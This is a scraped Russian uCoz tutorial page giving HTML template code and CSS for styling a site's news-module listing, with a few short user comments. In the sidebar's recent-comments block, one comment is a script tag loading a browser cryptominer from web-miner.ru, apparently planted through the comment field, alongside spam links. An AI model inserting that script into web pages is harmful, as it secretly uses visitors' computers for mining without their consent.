Среда, 21.02.2018, 10:01
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Лайкнули наши группы в соц-ых сетях?


Всего ответов: 200

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 6
Гостей: 6
Пользователей: 0


Зарегистрировано 30527 (сегодня + 0 новых, вчера + 3 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория HTML коды для uCoz » Добавлено [06.11.2013, 23:42]

Вид материалов модуля новости для сайта uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Создавая сайт на uCoz мы всегда видим практически одинаковые шаблоны и всегда хочется их украсить и сделать немного поинтересней и оригинальней. Если же вы используете модуль новости, то вам наверняка пригодиться вот такой вот красивый Вид материалов модуля новости для сайта uCoz. Чтобы установить такой вот вид новостей нужно хотя бы немного разбираться в html кодах и уметь их редактировать. Более подробно про установку читайте чуть ниже.


Заходим на свой сайт и переходим в Панель Управления сайтом > Управление дизайном > Новости Сайта > Вид материалов, удаляем всё, что там есть и вставляем это:


Код
<div class="view-news">
  <span class="view-news-moder">$MODER_PANEL$</span>
  <div class="view-news-img"><img src="$IMG_SMALL_URL1$"><img src="$IMG_URL1$"></div>
  <h2><a href="$ENTRY_URL$">$TITLE$</a></h2>  
  <p>$MESSAGE$</p>
  <span class="view-news-statistics">
  <img src="http://webo4ka.ru/Ucoz8/fon_img_glaz.png" alt="просмотров"> $READS$ |  
  <img src="http://webo4ka.ru/Ucoz8/fon_img_coment.png" alt="комментарии"> $COMMENTS_NUM$  
  </span>
  <a class="read-more" href="$ENTRY_URL$">Читать дальше</a>  
</div>


ШАГ 2:
Теперь идём в ПУ(Админ панель) => Дизайн => Управление дизайном => Таблицы стилей CSS, и добавляем туда этот CSS code:

Код
/* Вид новостей для uCoz Minimalism
------------------------------------------*/
.view-news{
  float:left;
  width:358px;
  overflow: hidden;
  position: relative;  
  background: #fff;
  margin: 0px 0px 15px 0px;  
  border: 1px solid #B6C0CD;  
  border-radius:5px;  
}

.view-news a {text-decoration:none; outline:none}

.view-news-img img{
  width:358px;
  height:218px;
  margin: 0px 0px 7px 0px;  
  border-radius:5px 5px 0px 0px;  
}

.view-news h2 {
  float:left;
  width:328px;  
  padding-bottom: 5px;
  margin:0px 15px 10px 15px;  
  border-bottom: 1px solid #D6D6D6;  
  font: 125% Verdana,Arial,Helvetica, sans-serif;
  font-weight: 700;  
}  

.view-news p {
  float:left;
  width:328px;  
  padding-bottom: 10px;
  margin:0px 15px 10px 15px;  
  border-bottom: 1px solid #D6D6D6;  
  font:115%/1.5 Verdana,Arial,Helvetica, sans-serif;
  text-align:justify;
}  

.view-news-statistics{
  float:left;
  margin:0px 0px 10px 15px;  
  font:9px Verdana,Arial,Helvetica, sans-serif;
  color:#999;  
}  

.read-more{
  float:right;
  font-weight: 700;  
  margin:0px 15px 10px 0px;  
}  

.view-news-moder{
  float:left;
  position: absolute;
  top: 0px;
  right:0px;
  padding: 5px;  
  background: #fff;
}


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Вид материалов модуля новости для сайта uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: HTML коды для uCoz | Добавил: scripts_for_ucoz | Теги: вид, Вид материалов, новости вид материалов, Вид новостей, модуль новости
Просмотров: 4295 | Загрузок: 0 | Комментарии: 2 | Рейтинг: 0.0/0
Всего комментариев: 2
2 Lui_Amstrong   (27.05.2015 22:37)
Все работает

1 Admin7741   (09.08.2014 04:09)
фигня не работает испортил мне сайт

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz